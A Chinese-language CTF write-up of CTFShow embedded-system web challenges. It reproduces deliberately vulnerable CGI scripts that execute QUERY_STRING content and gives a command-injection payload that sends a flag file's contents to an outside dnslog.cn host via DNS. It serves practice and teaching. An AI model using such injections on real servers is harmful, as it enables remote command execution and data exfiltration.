CTFShow 嵌入式
不知道嵌入式是啥,需要学啥知识点,先看看题玩玩
好像就是拿bash文件作为cgi
关于什么是CGI
可能嵌入式系统比较简单,性能有限,所以还需要CGI这种上古技术。
需要注意的是,CGI程序响应在Web服务器前,所以不会自动进行URL解码。
Web461 给了个不知道干啥的bash脚本:
1 2 3 4 5 6 7 8 9 10 #!/bin/bash OIFS="$IFS " IFS="," set $QUERY_STRING Args=($QUERY_STRING ) IFS="$OIFS " if [ "${Args[2]} " ctf = "admin" ctf ]; then echo "`${Args[0]} $IFS${Args[1]} `" fi exit 0
查询字符串的第三个参数==admin就可以执行带一个参数的命令
GPT4还是好用啊
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 这是一个bash shell脚本,下面我会逐步为您解释这个脚本的每一部分。 #!/bin/bash:这是一个shebang,它告诉操作系统用bash shell来执行这个脚本。 OIFS="$IFS":IFS(Internal Field Separator)是bash中的一个特殊变量,用于确定在读取数据时应该如何分隔字段。此行将原始的IFS值保存在变量OIFS中,以便稍后可以恢复它。 IFS=",":设置IFS值为逗号,这意味着当读取或分解字符串时,将使用逗号作为字段分隔符。 set $QUERY_STRING:将QUERY_STRING变量的值分解为独立的参数。例如,如果QUERY_STRING是"a,b,c",那么执行此命令后,你将得到 $1="a", $2="b", $3="c"。 Args=($QUERY_STRING):这将QUERY_STRING的值赋给一个名为Args的数组。此时,Args[0]的值将是"a", Args[1]的值将是"b", 以此类推。 IFS="$OIFS":恢复原始的IFS值。 这部分的代码: bash Copy code if [ "${Args[2]}"ctf = "admin"ctf ]; then echo "`${Args[0]}$IFS${Args[1]}`" fi 是一个条件语句,检查Args数组的第三个元素(在bash数组中,索引是从0开始的)是否等于"admin"。这里用了一个小技巧,将"ctf"添加到每一边,可能是为了防止某些类型的字符串比较错误或注入。 如果条件为真,它将执行以下命令: bash Copy code echo "`${Args[0]}$IFS${Args[1]}`" 这是一个复杂的表达式。基本上,它会执行由Args[0]和Args[1]定义的命令,并输出它们的结果。请注意,这可能是一个安全隐患,因为它允许执行用户提供的任意命令。 exit 0:这将结束脚本并返回一个退出状态码0,表示脚本已成功执行。 总的来说,这个脚本接受一个用逗号分隔的字符串(可能是来自于某种请求的QUERY_STRING),然后检查其中的第三个部分是否为"admin"。如果是,它将执行由前两部分定义的命令。这个脚本具有潜在的安全风险,因为它允许执行任意命令。
payload:
Web462 还是经典bash
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash OIFS="$IFS " IFS="," set $QUERY_STRING Args=($QUERY_STRING ) IFS="$OIFS " if [ "${Args[0]} " ctf = "ping" ctf ]; then addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`" addr="ping -c 1 " $addr $addr fi
GPT说:
1 2 3 4 5 6 7 8 9 10 11 12 13 如果上述条件为真: bash Copy code addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`" 这将Args[1](即QUERY_STRING的第二部分)的值进行处理,移除其中的所有反斜杠(\),并将所有的%20替换为空格。这样处理后的结果被存储在addr变量中。 然后: bash Copy code addr="ping -c 1 "$addr 这将addr变量的值前缀为"ping -c 1 ",这意味着它将执行一个ping命令并发送1个ICMP请求包。
没有echo,需要外带数据
payload:
1 ?ping,`cat /f*`.nwcygt.dnslog.cn
但是这个好像不行?
为啥给解析成127.0.0.1了,服了
带不出来了,不做了
Web463 为啥还给了个cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <stdlib.h> #include "fcgi_stdio.h" #include <cstring> int _System(const char * cmd, char *pRetMsg, int msg_len){ FILE * fp; char * p = NULL ; int res = -1 ; if (cmd == NULL || pRetMsg == NULL || msg_len < 0 ) { printf ("Param Error!\n" ); return -1 ; } if ((fp = popen (cmd, "r" ) ) == NULL ) { printf ("Popen Error!\n" ); return -2 ; } else { memset (pRetMsg, 0 , msg_len); while (fgets (pRetMsg, msg_len, fp) != NULL ) { printf ("Msg:%s" ,pRetMsg); } if ( (res = pclose (fp)) == -1 ) { printf ("close popenerror!\n" ); return -3 ; } pRetMsg[strlen (pRetMsg)-1 ] = '\0' ; return 0 ; } } int main (void ) { int count = 0 ; char *cmd = "" ; char a8Result[128 ] = {0 }; int ret = 0 ; while (FCGI_Accept () >= 0 ) printf ("Content-type: text/html\r\n" "\r\n" "<title>CTFshow</title>" "<h1>where is flag?</h1>" ); cmd=getenv ("QUERY_STRING" ); ret = _System(cmd, a8Result, sizeof (a8Result)); printf ("ret = %d \nresult = %s\nlength = %d \n" , ret, a8Result, strlen (a8Result)); return 0 ; }
是用cpp写的fast cgi,使用popen来执行系统函数
payload:
Web464 还是一个cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <stdlib.h> #include "fcgi_stdio.h" #include <cstring> int _System(const char * cmd, char *pRetMsg, int msg_len){ FILE * fp; char * p = NULL ; int res = -1 ; if (cmd == NULL || pRetMsg == NULL || msg_len < 0 ) { printf ("Param Error!\n" ); return -1 ; } if ((fp = popen (cmd, "r" ) ) == NULL ) { printf ("Popen Error!\n" ); return -2 ; } else { memset (pRetMsg, 0 , msg_len); while (fgets (pRetMsg, msg_len, fp) != NULL ) { printf ("Msg:%s" ,pRetMsg); } if ( (res = pclose (fp)) == -1 ) { printf ("close popenerror!\n" ); return -3 ; } pRetMsg[strlen (pRetMsg)-1 ] = '\0' ; return 0 ; } } int main (void ) { int count = 0 ; char *cmd = "" ; char a8Result[128 ] = {0 }; int ret = 0 ; while (FCGI_Accept () >= 0 ) printf ("Content-type: text/html\r\n" "\r\n" "<title>CTFshow</title>" "<h1>where is flag?</h1>" ); cmd=getenv ("QUERY_STRING" ); ret = _System(cmd, a8Result, sizeof (a8Result)); return 0 ; }
跟上面一题的区别是main函数里面printf没了,但是好像不影响,因为_System函数里面打印出来了已经
payload:
Web465 给了个cgi,看了一下是ELF文件,先逆向一下
成pwn题了楽,还好会那么一丢丢pwn
是strcpy函数缓冲区溢出到getFlag函数,还得传一个参数,得多写几个字节
getFlag(“cat /f*”);
据说是泄露libc地址了,做不了一点,不做了